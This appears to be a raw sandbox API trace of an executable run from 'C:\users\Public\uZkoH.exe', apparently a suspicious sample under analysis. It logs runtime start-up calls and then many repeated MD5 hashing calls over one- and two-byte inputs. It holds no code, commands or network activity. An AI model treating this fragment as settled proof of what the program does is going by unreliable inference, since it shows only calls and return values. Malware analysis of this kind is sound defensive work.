	[0066.151] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x24efa0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256
	[0066.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x24f6e0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256
	[0066.151] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x0, Size=0x100) returned 0x399d10
	[0066.151] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13f5ae670, nSize=0x104 | out: lpFilename="C:\\users\\Public\\uZkoH.exe" (normalized: "c:\\users\\public\\uzkoh.exe")) returned 0x19
	[0066.151] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xae) returned 0x397350
	[0066.151] RtlInitializeSListHead (in: ListHead=0x13f5ae490 | out: ListHead=0x13f5ae490) 
	[0066.151] GetLastError () returned 0x0
	[0066.151] SetLastError (dwErrCode=0x0) 
	[0066.151] GetEnvironmentStringsW () returned 0x399e20*
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x0, Size=0xa7c) returned 0x39a8b0
	[0066.152] FreeEnvironmentStringsW (penv=0x399e20) returned 1
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x128) returned 0x399e20
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x3e) returned 0x399f50
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x6c) returned 0x399fa0
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x62) returned 0x39a020
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x78) returned 0x39a090
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x62) returned 0x39a110
	[0066.152] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2e) returned 0x399380
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x48) returned 0x39a180
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x28) returned 0x394000
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1a) returned 0x394030
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x4a) returned 0x39a1d0
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x72) returned 0x39a230
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x30) returned 0x3993c0
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2e) returned 0x399400
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1c) returned 0x394060
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0xd2) returned 0x39a2b0
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x7c) returned 0x39a390
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x3a) returned 0x39a420
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x90) returned 0x39a470
	[0066.153] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x24) returned 0x394090
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x30) returned 0x399440
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x36) returned 0x399480
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x3c) returned 0x39a510
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x52) returned 0x39a560
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x3c) returned 0x39a5c0
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x82) returned 0x39a610
	[0066.154] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2e) returned 0x3994c0
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1e) returned 0x3940c0
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x399500
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x54) returned 0x39a6a0
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x52) returned 0x39a700
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2a) returned 0x399540
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x3c) returned 0x39a760
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x54) returned 0x39a7b0
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x24) returned 0x3940f0
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x30) returned 0x399580
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8c) returned 0x39a810
	[0066.155] HeapFree (in: hHeap=0x380000, dwFlags=0x0, lpMem=0x39a8b0 | out: hHeap=0x380000) returned 1
	[0066.155] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x1000) returned 0x39a8b0
	[0066.156] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f458104) returned 0x0
	[0066.156] GetStartupInfoW (in: lpStartupInfo=0x24fce0 | out: lpStartupInfo=0x24fce0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\users\\Public\\uZkoH.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0066.230] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0067.287] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0067.288] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0067.288] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0067.289] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0067.289] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0067.289] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0067.289] CryptAcquireContextA (in: phProv=0x193fa8, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x193fa8*=0x39d420) returned 1
	[0067.998] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0067.999] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0067.999] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0067.999] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.000] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.000] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.000] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.000] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.000] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.000] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.000] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.000] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.000] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.000] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.000] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.000] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.000] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.000] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.000] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.001] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.001] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.001] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.001] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.001] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.001] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.001] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.001] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.001] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.001] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.001] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.001] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.001] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.001] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.001] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.001] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.001] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.001] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.002] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.002] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.002] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.002] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.002] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.002] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.002] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.002] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.002] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.002] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.002] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.002] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.002] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.002] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.002] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.003] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.003] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.003] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.003] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.003] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.003] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.003] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.003] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.003] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.003] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0068.003] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.003] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.003] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.003] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.004] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.004] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.004] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.004] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.004] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.004] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.004] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.004] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.004] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.004] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.004] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.004] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.004] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.004] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.004] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.005] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.005] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.005] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.005] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.005] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.005] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.005] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.005] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.005] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.005] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.005] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.005] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.005] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.006] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.006] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.006] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.006] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.006] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.006] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.006] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.006] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.006] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.006] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.006] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.006] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.006] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.006] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.006] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.006] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.007] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.007] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.007] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.007] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.007] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.007] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.007] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.007] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.007] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.007] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.007] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.007] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.007] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.007] CryptDestroyHash (hHash=0x39d8c0) returned 1
